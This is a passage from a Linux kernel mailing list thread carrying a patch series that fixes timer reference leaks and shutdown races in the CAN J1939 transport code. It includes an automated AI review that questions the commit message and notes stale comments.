- struct j1939_priv *priv = session->priv;
struct sk_buff *se_skb = j1939_session_skb_get(session);
struct sk_buff *skb;
int ret;
@@ -1082,12 +1283,12 @@ static int j1939_simple_txnext(struct j1939_session *session)
can_skb_set_owner(skb, se_skb->sk);
- j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
-
- ret = j1939_send_one(priv, skb);
+ ret = j1939_send_one(session->priv, skb);
if (ret)
goto out_free;
+ j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
+
j1939_sk_errqueue(session, J1939_ERRQUEUE_TX_SCHED);
j1939_sk_queue_activate_next(session);
@@ -1105,6 +1306,12 @@ static bool j1939_session_deactivate_locked(struct j1939_session *session)
bool active = false;
lockdep_assert_held(&session->priv->active_session_list_lock);
+ spin_lock(&session->txtimer_lock);
+ session->txtimer_shutdown = true;
+ spin_unlock(&session->txtimer_lock);
+ spin_lock(&session->rxtimer_lock);
+ session->rxtimer_shutdown = true;
+ spin_unlock(&session->rxtimer_lock);
if (session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_ACTIVE_MAX) {
@@ -1126,6 +1333,10 @@ static bool j1939_session_deactivate(struct j1939_session *session)
j1939_session_list_lock(priv);
active = j1939_session_deactivate_locked(session);
j1939_session_list_unlock(priv);
+ if (active) {
+ j1939_session_txtimer_cancel_async(session);
+ j1939_session_rxtimer_cancel_async(session);
+ }
return active;
}
@@ -1137,7 +1348,27 @@ j1939_session_deactivate_activate_next(struct j1939_session *session)
j1939_sk_queue_activate_next(session);
}
-static void __j1939_session_cancel(struct j1939_session *session,
+static bool j1939_session_fail(struct j1939_session *session, int err)
+{
+ bool deactivate = false;
+
+ j1939_session_list_lock(session->priv);
+ if (session->state == J1939_SESSION_ACTIVE) {
+ session->err = err;
+ deactivate = j1939_session_deactivate_locked(session);
+ }
+ j1939_session_list_unlock(session->priv);
+
+ if (deactivate) {
+ j1939_session_txtimer_cancel_async(session);
+ j1939_session_rxtimer_cancel_async(session);
+ j1939_sk_queue_activate_next(session);
+ }
+
+ return deactivate;
+}
+
+static bool __j1939_session_cancel(struct j1939_session *session,
enum j1939_xtp_abort err)
{
struct j1939_priv *priv = session->priv;
@@ -1153,26 +1384,47 @@ static void __j1939_session_cancel(struct j1939_session *session,
!session->transmission,
err, session->skcb.addr.pgn);
}
-
if (session->sk)
j1939_sk_send_loop_abort(session->sk, session->err);
+
+ return true;
}
-static void j1939_session_cancel(struct j1939_session *session,
+static bool j1939_session_cancel(struct j1939_session *session,
enum j1939_xtp_abort err)
{
+ bool cancelled = false, deactivate = false;
+
j1939_session_list_lock(session->priv);
if (session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_WAITING_ABORT) {
- j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS);
- __j1939_session_cancel(session, err);
+ cancelled = __j1939_session_cancel(session, err);
+ if (cancelled) {
+ spin_lock(&session->txtimer_lock);
+ session->txtimer_shutdown = true;
+ spin_unlock(&session->txtimer_lock);
+ if (!__j1939_tp_set_rxtimeout(session,
+ J1939_XTP_ABORT_TIMEOUT_MS,
+ true))
+ deactivate =
+ j1939_session_deactivate_locked(session);
+ }
}
j1939_session_list_unlock(session->priv);
+ if (cancelled) {
+ j1939_session_txtimer_cancel_async(session);
+ if (deactivate) {
+ j1939_session_rxtimer_cancel_async(session);
+ j1939_sk_queue_activate_next(session);
+ }
+ }
- if (!session->sk)
+ if (cancelled && !session->sk)
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
+
+ return cancelled;
}
static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
@@ -1180,8 +1432,21 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
struct j1939_session *session =
container_of(hrtimer, struct j1939_session, txtimer);
struct j1939_priv *priv = session->priv;
+ bool can_rearm, shutdown, queued;
+ bool put_ref = false;
int ret = 0;
+ spin_lock_bh(&session->txtimer_lock);
+ WARN_ON_ONCE(!session->txtimer_ref);
+ shutdown = session->txtimer_shutdown;
+ spin_unlock_bh(&session->txtimer_lock);
+
+ j1939_session_list_lock(priv);
+ can_rearm = session->state == J1939_SESSION_ACTIVE;
+ j1939_session_list_unlock(priv);
+ if (shutdown || !can_rearm)
+ goto txtimer_done;
+
if (session->skcb.addr.type == J1939_SIMPLE) {
ret = j1939_simple_txnext(session);
} else {
@@ -1198,12 +1463,9 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
session->tx_retry++;
j1939_tp_schedule_txtimer(session,
10 + get_random_u32_below(16));
- } else {
+ } else if (j1939_session_fail(session, -ENETUNREACH)) {
netdev_alert(priv->ndev, "%s: 0x%p: tx retry count reached\n",
__func__, session);
- session->err = -ENETUNREACH;
- j1939_session_rxtimer_cancel(session);
- j1939_session_deactivate_activate_next(session);
}
break;
case -ENETDOWN:
@@ -1221,25 +1483,60 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
session->tx_retry = 0;
break;
default:
- netdev_alert(priv->ndev, "%s: 0x%p: tx aborted with unknown reason: %i\n",
- __func__, session, ret);
if (session->skcb.addr.type != J1939_SIMPLE) {
- j1939_session_cancel(session, J1939_XTP_ABORT_OTHER);
- } else {
- session->err = ret;
- j1939_session_rxtimer_cancel(session);
- j1939_session_deactivate_activate_next(session);
+ if (j1939_session_cancel(session, J1939_XTP_ABORT_OTHER))
+ netdev_alert(priv->ndev, "%s: 0x%p: tx aborted with unknown reason: %i\n",
+ __func__, session, ret);
+ } else if (j1939_session_fail(session, ret)) {
+ netdev_alert(priv->ndev, "%s: 0x%p: tx aborted with unknown reason: %i\n",
+ __func__, session, ret);
}
}
- j1939_session_put(session);
+txtimer_done:
+ j1939_session_list_lock(priv);
+ can_rearm = session->state == J1939_SESSION_ACTIVE;
+ j1939_session_list_unlock(priv);
+ spin_lock_bh(&session->txtimer_lock);
+ queued = hrtimer_is_queued(&session->txtimer);
+ if (queued && (session->txtimer_shutdown || !can_rearm) &&
+ !session->txtimer_cancelers)
+ hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);
+ if (!queued && session->txtimer_ref) {
+ session->txtimer_ref = false;
+ put_ref = true;
+ }
+ spin_unlock_bh(&session->txtimer_lock);
+
+ if (put_ref)
+ j1939_session_put(session);
return HRTIMER_NORESTART;
}
+static bool
+j1939_session_complete_locked(struct j1939_session *session)
+{
+ lockdep_assert_held(&session->priv->active_session_list_lock);
+ if (session->state != J1939_SESSION_ACTIVE)
+ return false;
+
+ j1939_session_timers_shutdown_locked(session);
+ return j1939_session_deactivate_locked(session);
+}
+
static void j1939_session_completed(struct j1939_session *session)
{
struct sk_buff *se_skb;
+ bool completed;
+
+ j1939_session_list_lock(session->priv);
+ completed = j1939_session_complete_locked(session);
+ j1939_session_list_unlock(session->priv);
+ if (!completed)
+ return;
+
+ j1939_session_timers_drain(session);
if (!session->transmission) {
se_skb = j1939_session_skb_get(session);
@@ -1248,7 +1545,7 @@ static void j1939_session_completed(struct j1939_session *session)
consume_skb(se_skb);
}
- j1939_session_deactivate_activate_next(session);
+ j1939_sk_queue_activate_next(session);
}
static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
@@ -1257,41 +1554,63 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
struct j1939_session,
rxtimer);
struct j1939_priv *priv = session->priv;
+ bool cancelled = false, deactivate = false, put_ref = false, queued;
+ bool stale;
+ enum j1939_session_state state;
- if (session->state == J1939_SESSION_WAITING_ABORT) {
- netdev_alert(priv->ndev, "%s: 0x%p: abort rx timeout. Force session deactivation\n",
- __func__, session);
-
- j1939_session_deactivate_activate_next(session);
-
- } else if (session->skcb.addr.type == J1939_SIMPLE) {
- netdev_alert(priv->ndev, "%s: 0x%p: Timeout. Failed to send simple message.\n",
- __func__, session);
-
- /* The message is probably stuck in the CAN controller and can
- * be send as soon as CAN bus is in working state again.
- */
+ /* Serialize expiry handling with timeout replacement and state changes. */
+ j1939_session_list_lock(priv);
+ spin_lock(&session->rxtimer_lock);
+ /* A queued successor supersedes this already-running expiry. */
+ stale = session->rxtimer_shutdown || session->rxtimer_cancelers ||
+ hrtimer_is_queued(hrtimer);
+ spin_unlock(&session->rxtimer_lock);
+ state = session->state;
+ if (!stale && state == J1939_SESSION_WAITING_ABORT) {
+ deactivate = j1939_session_deactivate_locked(session);
+ } else if (!stale && state == J1939_SESSION_ACTIVE &&
+ session->skcb.addr.type == J1939_SIMPLE) {
session->err = -ETIME;
- j1939_session_deactivate(session);
- } else {
- j1939_session_list_lock(session->priv);
- if (session->state >= J1939_SESSION_ACTIVE &&
- session->state < J1939_SESSION_ACTIVE_MAX) {
- netdev_alert(priv->ndev, "%s: 0x%p: rx timeout, send abort\n",
- __func__, session);
- j1939_session_get(session);
- hrtimer_start(&session->rxtimer,
- ms_to_ktime(J1939_XTP_ABORT_TIMEOUT_MS),
- HRTIMER_MODE_REL_SOFT);
- __j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
- }
- j1939_session_list_unlock(session->priv);
+ deactivate = j1939_session_deactivate_locked(session);
+ } else if (!stale && state == J1939_SESSION_ACTIVE) {
+ cancelled = __j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
+ if (cancelled)
+ __j1939_tp_set_rxtimeout(session,
+ J1939_XTP_ABORT_TIMEOUT_MS, true);
+ }
+ j1939_session_list_unlock(priv);
+ if (deactivate) {
+ if (state == J1939_SESSION_WAITING_ABORT)
+ netdev_alert(priv->ndev, "%s: 0x%p: abort rx timeout. Force session deactivation\n",
+ __func__, session);
+ else
+ netdev_alert(priv->ndev, "%s: 0x%p: Timeout. Failed to send simple message.\n",
+ __func__, session);
+ j1939_session_txtimer_cancel_async(session);
+ j1939_session_rxtimer_cancel_async(session);
+ j1939_sk_queue_activate_next(session);
+ }
+ if (cancelled) {
+ netdev_alert(priv->ndev, "%s: 0x%p: rx timeout, send abort\n",
+ __func__, session);
+ j1939_session_txtimer_cancel_async(session);
if (!session->sk)
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
}
- j1939_session_put(session);
+ spin_lock_bh(&session->rxtimer_lock);
+ queued = hrtimer_is_queued(&session->rxtimer);
+ if (queued && session->rxtimer_shutdown &&
+ !session->rxtimer_cancelers)
+ hrtimer_start(&session->rxtimer, 0, HRTIMER_MODE_REL_SOFT);
+ if (!queued && session->rxtimer_ref) {
+ session->rxtimer_ref = false;
+ put_ref = true;
+ }
+ spin_unlock_bh(&session->rxtimer_lock);
+ if (put_ref)
+ j1939_session_put(session);
return HRTIMER_NORESTART;
}
@@ -1357,6 +1676,7 @@ static void j1939_xtp_rx_abort_one(struct j1939_priv *priv, struct sk_buff *skb,
{
struct j1939_sk_buff_cb *skcb = j1939_skb_to_cb(skb);
struct j1939_session *session;
+ bool deactivate = false, report = false, rxtimer_shutdown;
u8 abort = skb->data[1];
session = j1939_session_get_by_addr(priv, &skcb->addr, reverse,
@@ -1371,13 +1691,32 @@ static void j1939_xtp_rx_abort_one(struct j1939_priv *priv, struct sk_buff *skb,
session, j1939_xtp_ctl_to_pgn(skb->data), abort,
j1939_xtp_abort_to_str(abort));
+ /* Only the terminal path that wins the state transition reports abort. */
+ j1939_session_list_lock(priv);
+ spin_lock(&session->rxtimer_lock);
+ rxtimer_shutdown = session->rxtimer_shutdown;
+ spin_unlock(&session->rxtimer_lock);
+ if (!rxtimer_shutdown && session->state == J1939_SESSION_ACTIVE) {
+ session->err = j1939_xtp_abort_to_errno(priv, abort);
+ deactivate = j1939_session_deactivate_locked(session);
+ report = deactivate;
+ } else if (!rxtimer_shutdown &&
+ session->state == J1939_SESSION_WAITING_ABORT) {
+ /* A local abort already owns the error report. */
+ deactivate = j1939_session_deactivate_locked(session);
+ }
+ j1939_session_list_unlock(priv);
+ if (!deactivate)
+ goto abort_put;
+
j1939_session_timers_cancel(session);
- session->err = j1939_xtp_abort_to_errno(priv, abort);
- if (session->sk)
- j1939_sk_send_loop_abort(session->sk, session->err);
- else
- j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
- j1939_session_deactivate_activate_next(session);
+ if (report) {
+ if (session->sk)
+ j1939_sk_send_loop_abort(session->sk, session->err);
+ else
+ j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
+ }
+ j1939_sk_queue_activate_next(session);
abort_put:
j1939_session_put(session);
@@ -1419,7 +1758,6 @@ j1939_xtp_rx_eoma_one(struct j1939_session *session, struct sk_buff *skb)
netdev_dbg(session->priv->ndev, "%s: 0x%p\n", __func__, session);
session->pkt.tx_acked = session->pkt.total;
- j1939_session_timers_cancel(session);
/* transmitted without problems */
j1939_session_completed(session);
}
@@ -1486,7 +1824,7 @@ j1939_xtp_rx_cts_one(struct j1939_session *session, struct sk_buff *skb)
if (session->pkt.tx_acked)
j1939_sk_errqueue(session,
J1939_ERRQUEUE_TX_SCHED);
- j1939_session_txtimer_cancel(session);
+ j1939_session_txtimer_cancel(session, false);
j1939_tp_schedule_txtimer(session, 0);
}
} else {
@@ -1496,7 +1834,6 @@ j1939_xtp_rx_cts_one(struct j1939_session *session, struct sk_buff *skb)
return;
out_session_cancel:
- j1939_session_timers_cancel(session);
j1939_session_cancel(session, err);
}
@@ -1540,6 +1877,8 @@ static struct j1939_session *j1939_session_new(struct j1939_priv *priv,
skcb = j1939_skb_to_cb(skb);
memcpy(&session->skcb, skcb, sizeof(session->skcb));
+ spin_lock_init(&session->txtimer_lock);
+ spin_lock_init(&session->rxtimer_lock);
hrtimer_setup(&session->txtimer, j1939_tp_txtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
hrtimer_setup(&session->rxtimer, j1939_tp_rxtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
@@ -1717,7 +2056,6 @@ static int j1939_xtp_rx_rts_session_active(struct j1939_session *session,
return -EBUSY;
/* RTS on active session */
- j1939_session_timers_cancel(session);
j1939_session_cancel(session, J1939_XTP_ABORT_BUSY);
}
@@ -1727,7 +2065,6 @@ static int j1939_xtp_rx_rts_session_active(struct j1939_session *session,
__func__, session, skcb->addr.sa, skcb->addr.da,
session->last_cmd);
- j1939_session_timers_cancel(session);
j1939_session_cancel(session, J1939_XTP_ABORT_BUSY);
if (session->transmission) {
j1939_session_deactivate_activate_next(session);
@@ -1810,7 +2147,7 @@ static void j1939_xtp_rx_rts(struct j1939_priv *priv, struct sk_buff *skb,
j1939_tp_set_rxtimeout(session, 750);
} else {
if (!session->transmission) {
- j1939_session_txtimer_cancel(session);
+ j1939_session_txtimer_cancel(session, false);
j1939_tp_schedule_txtimer(session, 0);
}
j1939_tp_set_rxtimeout(session, 1250);
@@ -1956,7 +2293,6 @@ static void j1939_xtp_rx_dat_one(struct j1939_session *session,
}
if (final) {
- j1939_session_timers_cancel(session);
j1939_session_completed(session);
} else if (remain) {
if (!session->transmission)
@@ -1976,7 +2312,6 @@ static void j1939_xtp_rx_dat_one(struct j1939_session *session,
out_session_cancel:
kfree_skb(se_skb);
- j1939_session_timers_cancel(session);
j1939_session_cancel(session, abort);
j1939_session_put(session);
}
@@ -2219,6 +2554,8 @@ void j1939_simple_recv(struct j1939_priv *priv, struct sk_buff *skb)
j1939_session_list_lock(priv);
session = j1939_session_get_simple(priv, skb);
+ if (session)
+ j1939_session_timers_shutdown_locked(session);
j1939_session_list_unlock(priv);
if (!session) {
netdev_warn(priv->ndev,
@@ -2227,7 +2564,7 @@ void j1939_simple_recv(struct j1939_priv *priv, struct sk_buff *skb)
return;
}
- j1939_session_timers_cancel(session);
+ j1939_session_timers_drain(session);
j1939_session_deactivate(session);
j1939_session_put(session);
}
@@ -2242,9 +2579,17 @@ int j1939_cancel_active_session(struct j1939_priv *priv, struct sock *sk)
&priv->active_session_list,
active_session_list_entry) {
if (!sk || sk == session->sk) {
- if (hrtimer_try_to_cancel(&session->txtimer) == 1)
+ bool put_ref;
+
+ spin_lock(&session->txtimer_lock);
+ put_ref = j1939_session_txtimer_cancel_async_locked(session);
+ spin_unlock(&session->txtimer_lock);
+ if (put_ref)
j1939_session_put(session);
- if (hrtimer_try_to_cancel(&session->rxtimer) == 1)
+ spin_lock(&session->rxtimer_lock);
+ put_ref = j1939_session_rxtimer_cancel_async_locked(session);
+ spin_unlock(&session->rxtimer_lock);
+ if (put_ref)
j1939_session_put(session);
session->err = ESHUTDOWN;
--
2.43.0
^ permalink raw reply related [flat|nested] 5+ messages in thread* Re: [PATCH net v6 1/2] can: j1939: account for timer references across rearm
2026-11-04 15:02 ` [PATCH net v6 1/2] can: j1939: account for timer references across rearm Zihan Xi
@ 2026-11-06 4:18 ` netdev-bot+sashiko
0 siblings, 0 replies; 5+ messages in thread
From: netdev-bot+sashiko @ 2026-11-06 4:18 UTC (permalink / raw)
To: zihanx
Cc: linux-can, robin, o.rempel, kernel, socketcan, mkl, lkp, bst,
dev.kurt, maxime.jayat, vega, kuba
Thank you for your contribution! Sashiko AI review found 4 potential
issue(s) to consider.
Critical: 0 · High: 0 · Medium: 1 · Low: 3
If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).
- [Medium] The commit message for "can: j1939: account for timer
references across rearm" describes only timer reference accounting.
- [Low] The commit message names no concrete trigger and no user-visible
impact for the refcount bug it fixes.
- [Low] In j1939_xtp_rx_rts_session_active() the comment on the
receiver's forced deactivation is now stale.
- [Low] Two new comments in j1939_xtp_rx_abort_one() promise a single
abort report: "Only the terminal path that wins the state transition…
--
can: j1939: account for timer references across rearm
The patch adds a per-timer lock, a reference flag, a shutdown flag and a
canceler count, so that txtimer and rxtimer each hold exactly one session
reference while queued or running. It reworks the cancel, rearm and
callback completion paths. It also gates the terminal state transitions
(deactivate, cancel, complete, remote abort) on the session state.
Link: https://bugtracker.nebusec.ai/f/11143
> Track one session reference for each timer lifetime spanning queued and
> running states. Serialize timer restart, cancellation, and callback
> completion so rearming an active timer cannot leak or lose its pin.
>
> Apply the same lifetime accounting to the RX timer and stop terminal
> paths from leaving queued timers behind.
[Severity: Medium]
The message only describes timer reference accounting. The patch also
seems to change protocol behaviour and behaviour that userspace can see.
Should these changes be described here, or split into separate patches?
Compared with the baseline:
j1939_xtp_rx_abort_one(): a remote ABORT used to always overwrite
session->err with j1939_xtp_abort_to_errno(). It was then reported via
j1939_sk_send_loop_abort() or J1939_ERRQUEUE_RX_ABORT. If the session is
already in J1939_SESSION_WAITING_ABORT, it is now only deactivated.
session->err keeps the local errno and nothing more is reported, which
changes the sk_err and ee_errno that userspace sees.
j1939_session_completed(): this now returns early unless the state is
J1939_SESSION_ACTIVE. An EOMA or final broadcast DAT that arrives after a
local abort no longer delivers se_skb via j1939_sk_recv(). It also no
longer activates the next session.
j1939_session_cancel(): this now returns bool. It deactivates at once if
__j1939_tp_set_rxtimeout() cannot arm the abort timeout.
j1939_tp_schedule_txtimer(): this silently does nothing unless the state
is J1939_SESSION_ACTIVE and no cancel or shutdown is pending. Also,
j1939_tp_set_rxtimeout() no longer rearms in J1939_SESSION_WAITING_ABORT.
Later CTS/DAT handling can therefore no longer replace the abort timeout.
j1939_simple_txnext(): the echo timeout is now armed after
j1939_send_one() instead of before it.
The synchronous j1939_session_timers_cancel() calls before
j1939_session_cancel() are removed from the CTS, DAT and RTS error paths.
The netdev_alert() calls in j1939_tp_txtimer() and j1939_tp_rxtimer()
now print only when the caller wins the state transition.
The new comment "Only the terminal path that wins the state transition
reports abort" suggests the patch also fixes double-deactivation and
double-report races. The message does not mention these. The follow-up
commit "can: j1939: serialize TX with session shutdown" does not describe
these changes either.
Since this is tagged for stable, could the message say which hunks fix
the refcount problem and which ones change protocol or reporting
behaviour?
> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index 8fcfd13e5e6f8..fbeb858956e03 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c
[ ... ]
> @@ -716,18 +868,68 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
>
> void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
> {
> - j1939_session_get(session);
> + j1939_session_list_lock(session->priv);
> + if (session->state != J1939_SESSION_ACTIVE) {
> + j1939_session_list_unlock(session->priv);
> + return;
> + }
> +
> + spin_lock(&session->txtimer_lock);
> + if (session->txtimer_cancelers || session->txtimer_shutdown) {
> + spin_unlock(&session->txtimer_lock);
> + j1939_session_list_unlock(session->priv);
> + return;
> + }
> +
> + /* One pin covers an armed timer and any callback/successor overlap. */
> + if (!session->txtimer_ref) {
> + j1939_session_get(session);
> + session->txtimer_ref = true;
> + }
> +
> hrtimer_start(&session->txtimer, ms_to_ktime(msec),
> HRTIMER_MODE_REL_SOFT);
[Severity: Low]
This isn't a bug, but the commit message does not name a concrete
trigger or a user-visible impact for the refcount bug fixed here.
In the baseline, j1939_tp_schedule_txtimer() always did:
j1939_session_get(session);
hrtimer_start(&session->txtimer, ...);
j1939_xtp_rx_dat_one() calls it without cancelling first:
} else if (do_cts_eoma) {
j1939_tp_set_rxtimeout(session, 1250);
if (!session->transmission)
j1939_tp_schedule_txtimer(session, 0);
A txtimer may already be queued, for example an -ENOBUFS retry scheduled
10-25 ms out. In that case hrtimer_start() silently replaces it, and the
queued timer's session reference leaks.
The leaked session keeps its priv reference and netdev tracker (see
j1939_session_destroy()). A DAT frame from the bus can therefore leave
device unregister stuck.
The message only says that rearming "cannot leak or lose its pin". It
does not say which path leaks a pin and which path loses one (a possible
use-after-free). The Link: also points to a tracker that is not public.
Could the message describe the triggering path and the impact, so that
stable backporters can judge it?
[ ... ]
> @@ -1371,13 +1691,32 @@ static void j1939_xtp_rx_abort_one(struct j1939_priv *priv, struct sk_buff *skb,
> session, j1939_xtp_ctl_to_pgn(skb->data), abort,
> j1939_xtp_abort_to_str(abort));
>
> + /* Only the terminal path that wins the state transition reports abort. */
[Severity: Low]
Is this comment accurate for RX sessions? It suggests userspace sees a
single abort report, and so does "A local abort already owns the error
report" below. However, j1939_session_destroy() queues another report
when the last reference is dropped:
} else if (session->err) {
j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
}
__j1939_sk_errqueue() does not de-duplicate RX_ABORT. It is gated only
by SOF_TIMESTAMPING_RX_SOFTWARE. An RX session (session->sk == NULL) that
is aborted via j1939_xtp_rx_abort_one(), j1939_session_cancel() or
j1939_tp_rxtimer() therefore still produces a second RX_ABORT errqueue
entry at destroy time.
The duplicate report existed before this patch. Could the comment be
reworded so it does not promise a single report?
> + j1939_session_list_lock(priv);
> + spin_lock(&session->rxtimer_lock);
> + rxtimer_shutdown = session->rxtimer_shutdown;
> + spin_unlock(&session->rxtimer_lock);
> + if (!rxtimer_shutdown && session->state == J1939_SESSION_ACTIVE) {
> + session->err = j1939_xtp_abort_to_errno(priv, abort);
> + deactivate = j1939_session_deactivate_locked(session);
> + report = deactivate;
> + } else if (!rxtimer_shutdown &&
> + session->state == J1939_SESSION_WAITING_ABORT) {
> + /* A local abort already owns the error report. */
> + deactivate = j1939_session_deactivate_locked(session);
> + }
[ ... ]
> @@ -1727,7 +2065,6 @@ static int j1939_xtp_rx_rts_session_active(struct j1939_session *session,
> __func__, session, skcb->addr.sa, skcb->addr.da,
> session->last_cmd);
>
> - j1939_session_timers_cancel(session);
> j1939_session_cancel(session, J1939_XTP_ABORT_BUSY);
> if (session->transmission) {
> j1939_session_deactivate_activate_next(session);
[Severity: Low]
Both j1939_session_timers_cancel() calls are now gone from
j1939_xtp_rx_rts_session_active(). Is the comment just below still
accurate?
} else if (session->state == J1939_SESSION_WAITING_ABORT) {
/* Force deactivation for the receiver.
* If we rely on the timer starting in j1939_session_cancel,
* a second RTS call here will cancel that timer and fail
* to restart it because the state is already WAITING_ABORT.
*/
j1939_session_deactivate_activate_next(session);
The first j1939_session_cancel() now moves the receiver to
J1939_SESSION_WAITING_ABORT. It also arms the abort rxtimer through
__j1939_tp_set_rxtimeout(..., true). The second j1939_session_cancel()
fails the state < J1939_SESSION_WAITING_ABORT check and does nothing.
Nothing in this function cancels the abort timer any more. The timer
stays queued until j1939_session_deactivate() cancels it asynchronously.
The reason given in the comment no longer applies. Should the comment be
updated?
[ ... ]
--
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1793788955.git.zihanx%40nebusec.ai
^ permalink raw reply [flat|nested] 5+ messages in thread
* [PATCH net v6 2/2] can: j1939: serialize TX with session shutdown
2026-11-04 15:02 [PATCH net v6 0/2] can: j1939: fix TX timer reference leak Zihan Xi
2026-11-04 15:02 ` [PATCH net v6 1/2] can: j1939: account for timer references across rearm Zihan Xi
@ 2026-11-04 15:02 ` Zihan Xi
2026-11-06 4:18 ` netdev-bot+sashiko
1 sibling, 1 reply; 5+ messages in thread
From: Zihan Xi @ 2026-11-04 15:02 UTC (permalink / raw)
To: linux-can
Cc: robin, o.rempel, kernel, socketcan, mkl, lkp, bst, dev.kurt,
maxime.jayat, vega, zihanx
Prevent a timer callback from sending session frames after a concurrent
terminal state transition. Serialize the send with the state change and
reject frames once shutdown has been published.
Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/11143
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
net/can/j1939/j1939-priv.h | 3 ++
net/can/j1939/transport.c | 106 +++++++++++++++++++++++++++++--------
2 files changed, 88 insertions(+), 21 deletions(-)
diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
index 123622c82a98..1d8cbe692fcd 100644
--- a/net/can/j1939/j1939-priv.h
+++ b/net/can/j1939/j1939-priv.h
@@ -292,6 +292,9 @@ struct j1939_session {
} pkt;
struct hrtimer txtimer, rxtimer;
unsigned int txtimer_cancelers; /* block starts while a cancel waits */
+ /* Serialize session frame transmission against terminal state changes. */
+ spinlock_t tx_send_lock;
+ bool tx_send_shutdown;
spinlock_t txtimer_lock; /* Protects TX timer lifetime state. */
/* One reference pins the complete queued/running timer lifetime. */
bool txtimer_shutdown;
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index fbeb858956e0..390923a05046 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -446,10 +446,18 @@ static void j1939_session_rxtimer_cancel_async(struct j1939_session *session)
j1939_session_put(session);
}
+static void j1939_session_tx_send_shutdown(struct j1939_session *session)
+{
+ spin_lock_bh(&session->tx_send_lock);
+ session->tx_send_shutdown = true;
+ spin_unlock_bh(&session->tx_send_lock);
+}
+
static void
j1939_session_timers_shutdown_locked(struct j1939_session *session)
{
lockdep_assert_held(&session->priv->active_session_list_lock);
+ j1939_session_tx_send_shutdown(session);
spin_lock(&session->rxtimer_lock);
session->rxtimer_shutdown = true;
spin_unlock(&session->rxtimer_lock);
@@ -797,6 +805,25 @@ sk_buff *j1939_tp_tx_dat_new(struct j1939_priv *priv,
return skb;
}
+static int j1939_session_tx_send(struct j1939_session *session,
+ struct sk_buff *skb)
+{
+ int ret;
+
+ /* Pair the state check and send with terminal state transitions. */
+ spin_lock_bh(&session->tx_send_lock);
+ if (session->tx_send_shutdown ||
+ READ_ONCE(session->state) != J1939_SESSION_ACTIVE) {
+ spin_unlock_bh(&session->tx_send_lock);
+ kfree_skb(skb);
+ return -ESHUTDOWN;
+ }
+ ret = j1939_send_one(session->priv, skb);
+ spin_unlock_bh(&session->tx_send_lock);
+
+ return ret;
+}
+
/* TP transmit packet functions */
static int j1939_tp_tx_dat(struct j1939_session *session,
const u8 *dat, int len)
@@ -813,12 +840,13 @@ static int j1939_tp_tx_dat(struct j1939_session *session,
if (j1939_tp_padding && len < 8)
memset(skb_put(skb, 8 - len), 0xff, 8 - len);
- return j1939_send_one(priv, skb);
+ return j1939_session_tx_send(session, skb);
}
static int j1939_xtp_do_tx_ctl(struct j1939_priv *priv,
const struct j1939_sk_buff_cb *re_skcb,
- bool swap_src_dst, pgn_t pgn, const u8 *dat)
+ bool swap_src_dst, pgn_t pgn, const u8 *dat,
+ struct j1939_session *session)
{
struct sk_buff *skb;
u8 *skdat;
@@ -836,6 +864,8 @@ static int j1939_xtp_do_tx_ctl(struct j1939_priv *priv,
skdat[6] = (pgn >> 8);
skdat[7] = (pgn >> 16);
+ if (session)
+ return j1939_session_tx_send(session, skb);
return j1939_send_one(priv, skb);
}
@@ -846,7 +876,7 @@ static inline int j1939_tp_tx_ctl(struct j1939_session *session,
return j1939_xtp_do_tx_ctl(priv, &session->skcb,
swap_src_dst,
- session->skcb.addr.pgn, dat);
+ session->skcb.addr.pgn, dat, session);
}
static int j1939_xtp_tx_abort(struct j1939_priv *priv,
@@ -863,7 +893,8 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
memset(dat, 0xff, sizeof(dat));
dat[0] = J1939_TP_CMD_ABORT;
dat[1] = err;
- return j1939_xtp_do_tx_ctl(priv, re_skcb, swap_src_dst, pgn, dat);
+ return j1939_xtp_do_tx_ctl(priv, re_skcb, swap_src_dst, pgn, dat,
+ NULL);
}
void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
@@ -898,7 +929,14 @@ static bool
__j1939_tp_set_rxtimeout(struct j1939_session *session, int msec,
bool abort_timeout)
{
+ bool shutdown;
+
lockdep_assert_held(&session->priv->active_session_list_lock);
+ spin_lock(&session->tx_send_lock);
+ shutdown = session->tx_send_shutdown;
